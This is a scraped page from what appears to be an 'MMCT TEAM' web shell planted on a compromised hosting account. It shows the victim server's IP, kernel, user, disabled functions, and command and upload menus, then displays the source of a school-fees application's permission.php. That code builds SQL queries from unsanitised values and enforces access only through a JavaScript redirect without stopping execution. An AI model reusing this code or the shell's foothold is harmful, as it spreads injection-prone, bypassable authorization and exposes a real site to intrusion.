MMCT TEAM
Server IP : 2a02:4780:3:1493:0:3736:a38e:7  /  Your IP : 216.73.216.139
Web Server : LiteSpeed
System : Linux sg-nme-web1393.main-hosting.eu 4.18.0-553.40.1.lve.el8.x86_64 #1 SMP Wed Feb 12 18:54:57 UTC 2025 x86_64
User : u926327694 ( 926327694)
PHP Version : 7.4.33
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u926327694/domains/smsoft.in/public_html/demo/config/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u926327694/domains/smsoft.in/public_html/demo/config/permission.php
<?php
function CheckPermission($menu,$con)
{
    $user_id=$_SESSION['user']['id'];
    $permission=mysqli_query($con,"select * from user_permission where status=1 and user_id=$user_id and menu='$menu'");
    if(mysqli_num_rows($permission)>0)
    {
        return "1";
    }
    else
    {
        return "0";
    }
}

$filename=str_replace("/demo/","",$_SERVER['REQUEST_URI']);
if($filename=="Class.php" || $filename=="division.php")
{
    if(CheckPermission('class_division',$con)!="1")
    {
        echo"<script>alert('Unable to access this page'); window.location='dashboard.php';</script>";
    }
}

if($filename=="Sub_Head.php")
{
    if(CheckPermission('sub_head',$con)!="1")
    {
        echo"<script>alert('Unable to access this page'); window.location='dashboard.php';</script>";
    }
}

if($filename=="bank.php")
{
    if(CheckPermission('bank',$con)!="1")
    {
        echo"<script>alert('Unable to access this page'); window.location='dashboard.php';</script>";
    }
}

if($filename=="Head.php")
{
    if(CheckPermission('head',$con)!="1")
    {
        echo"<script>alert('Unable to access this page'); window.location='dashboard.php';</script>";
    }
}

if($filename=="Receipt_head_create.php")
{
    if(CheckPermission('fees_receipt_head',$con)!="1")
    {
        echo"<script>alert('Unable to access this page'); window.location='dashboard.php';</script>";
    }
}

if($filename=="Student_entry.php")
{
    if(CheckPermission('new_student',$con)!="1")
    {
        echo"<script>alert('Unable to access this page'); window.location='dashboard.php';</script>";
    }
}

if($filename=="Student_view.php" || $filename=="Apply_fees_code_view.php" || $filename=="S_fees_code.php")
{
    if(CheckPermission('update_student',$con)!="1")
    {
        echo"<script>alert('Unable to access this page'); window.location='dashboard.php';</script>";
    }
}

if($filename=="Apply_fees_code.php")
{
    if(CheckPermission('apply_fees_code',$con)!="1")
    {
        echo"<script>alert('Unable to access this page'); window.location='dashboard.php';</script>";
    }
}

if($filename=="Apply_fees_code_delete")
{
    if(CheckPermission('remove_fees_code',$con)!="1")
    {
        echo"<script>alert('Unable to access this page'); window.location='dashboard.php';</script>";
    }
}

if($filename=="Pay_fees.php")
{
    if(CheckPermission('pay_fees',$con)!="1")
    {
        echo"<script>alert('Unable to access this page'); window.location='dashboard.php';</script>";
    }
}

if($filename=="chequelist.php" || $filename=="online_approve.php" || $filename=="challan_approve.php")
{
    if(CheckPermission('payment_approve',$con)!="1")
    {
        echo"<script>alert('Unable to access this page'); window.location='dashboard.php';</script>";
    }
}

if($filename=="recpt_report_excle.php" || $filename=="recpt_report_subhead.php" || $filename=="reportsexcel.php")
{
    if(CheckPermission('daily_reports',$con)!="1")
    {
        echo"<script>alert('Unable to access this page'); window.location='dashboard.php';</script>";
    }
}

if($filename=="balancelist.php" || $filename=="balancelistprint.php" || $filename=="balancelistprint1.php" || $filename=="balancelistprint3.php")
{
    if(CheckPermission('balance_reports',$con)!="1")
    {
        echo"<script>alert('Unable to access this page'); window.location='dashboard.php';</script>";
    }
}

if($filename=="discount-report.php")
{
    if(CheckPermission('discount',$con)!="1")
    {
        echo"<script>alert('Unable to access this page'); window.location='dashboard.php';</script>";
    }
}

if($filename=="Inventory/admin/login.php")
{
    if(CheckPermission('inventory',$con)!="1")
    {
        echo"<script>alert('Unable to access this page'); window.location='dashboard.php';</script>";
    }
}

if($filename=="upgradestudent.php" || $filename=="exportstudent.php" || $filename=="send_balance_sms.php")
{
    if(CheckPermission('utility',$con)!="1")
    {
        echo"<script>alert('Unable to access this page'); window.location='dashboard.php';</script>";
    }
}
?>

MMCT - 2023